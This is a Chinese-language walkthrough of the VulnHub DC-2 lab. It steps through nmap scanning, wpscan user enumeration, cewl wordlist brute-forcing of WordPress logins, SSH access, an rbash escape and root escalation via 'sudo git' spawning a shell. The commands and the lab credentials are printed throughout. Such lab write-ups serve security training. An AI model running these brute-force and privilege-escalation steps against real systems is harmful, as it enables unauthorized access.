- 环境搭建:
与DC-1非常相似,DC-2是另一个专门建立的易受攻击的实验室,目的是获得渗透测试领域的经验。与最初的DC-1一样,它是为初学者设计的。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。就像DC-1一样,有五面旗帜,包括最后一面旗帜。和DC-1一样,旗子对初学者来说很重要,但对有经验的人来说就不那么重要了。简而言之,唯一真正有意义的旗帜,是最后一面旗帜。对于初学者来说,谷歌是你的朋友。好吧,除了所有的隐私问题等等。我没有探索实现root的所有方法,因为我放弃了我一直在研究的上一个版本,并从基本操作系统安装中完全重新开始。
和DC-1一样,有五个flag
2、下载靶场环境
靶场下载地址:https://www.vulnhub.com/entry/dc-2,311/
- 渗透靶场
- 与DC-1一样 打开虚拟机更改网络连接模式为NAT 让DC-2虚拟机跟kali虚拟机在同一网段 这样才能扫出DC-1的主机
2.同样在kali虚拟机中进去root模式下 进入命令窗输入ifconfig查看kali的ip地址
3.寻找靶机真实的IP 使用nmap -sp 加查出来的IP地址/24(nmap -sp XXX.XXX.XXX.XXX/24)
4.探端口及服务输入nmap -A -p- -v 加上回显出来的端口号 (这里我们需要测试正确的IP号)这里我正确的是192.168.28.130
-A 综合性扫描
-v 冗余模式 能扫描出过程中的详细信息
发现开放了80端口,存在web服务,Apache/2.4.10,
发现开放了7744端口,开放了ssh服务,OpenSSH 6.7p1
5.接着访问wed站点 在kali火狐中的url里面输入自己正确的IP信息(http:// 192.168.28.130)
发现了访问不了 输入的IP地址变成域名 猜想为域名重定向 需要修改hosts文件 添加靶机IP到域名dc-2的指向 输入vim /etc/hosts
进去这个页面后输入自己的IP地址加dc-2 输入后按下Esc 输入:wq退出
修改后再重新访问 访问为成功 并且发现靶机使用的CMS是Wordpress
6.点击flag 发现网页下面flag1 大概内容就是暴力破解 账号密码
7.进行目录扫描 输入dirb http://dc-2/
发现了个疑似后台的地址 进行复制
到火狐中登录页面
其中也发现其他的 好像里面没有什么东西
8.使用wpscan扫描工具来获取用户名 wpscan是一款针对wordpress的工具 同时可以对未加防护的Wordpress站点暴力破解用户密码
Wpscan一些常用语句:
wpscan --url http://dc-2
wpscan --url http://dc-2 --enumerate t 扫描主题
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户
wpscan --url http://dc-2 是对指定的URL进行Wordpress漏洞扫描
接着在里面发现了wordpress的版本4.7.10
在去火狐页面试着登录 输入用户
名密码 提示用户名不存在 好像能进行用户名枚举
利用枚举到的用户爆破密码
输入wpscan --url http://dc-2 --enumerate u
可以看出枚举出来了三个用户名 (admin jerry tom)
9.暴力破解出账号密码
Cewl可以将打印出的字典存储为文件。这里可以使用-w参数来将密码字典存储为text文件:输入cewl http://dc-2/ -w dict.txt
输入cat dc2.txt
输入wpscan --url http://dc-2 --passwords dc2.txt 进行暴力破解
爆破出来两个账号
jerry/adipiscing
tom/parturient (/前面为用/后面为密码)
爆出来两个账号任选一个登录
比如输入jerry/adipiscing登录此站点 出来的画面如图
10.登录后台之后,我们看到flag2
点进去之后看到flag2提示信息,简单说就是如果wordpress行不通的话就会一个点,我们之前发现有ssh,我们看看ssh
11.在tom的家目录发现flag3 那我们用tom登录ssh
jerry/adipiscing
tom/parturient
输入ssh tom@192.168.28.130 -p 7744 (这里使用自己的IP地址)
这里要输入密码是parturient 输入后密码是看不见的
在输入ls
在tom账号里发现flag3 用不了cat
输入了less和vi都如图中显示接下来,尝试rbash绕过详情参考 https://xz.aliyun.com/t/7642
查看可以输入echo $PATH 这是用来查看PATH环境变量
我们使用CD进不去目录 直接用ls来查看目录信息
输入cd /home/tom/usr/bin
ls /home/tom/usr/bin
使用echo来绕过rbash
输入BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
echo /*
接着在输入id
Ls
12.输入cd ..
Ls
Cd jerry
Ls
发现flag4在jerry目录
输入cat flag4.txt 看见了下面的提醒
大致意思就是还没有结束。猜想需要提权才能获取到最终的flag,并且flag4 提示我们可以使用git,我们可以通过git来提权
使用tom用户无权限运行sudo 我们切换到jerry用户
我们可以看到无需root权限,jerry 可以使用 git
输入sudo -l 这里也是是要输入密码parturient
在输入su - jerry 这里输入密码为adipiscing
在次输入sudo -l
13.我使用root权限命令来提一下权
输入find / -user root -perm -4000 -print 2>/dev/null
jerry用户也不可以直接sudo su 输入密码为adipiscing
使用git命令进行提取
输入sudo git help status
输入!/bin/sh,直接输入就行
提权成功
输入whoami
14.发现final-flag.txt
cd /root
cat final-flag.txt
输入cd /root
Ls
cat final-flag.txt
通关完成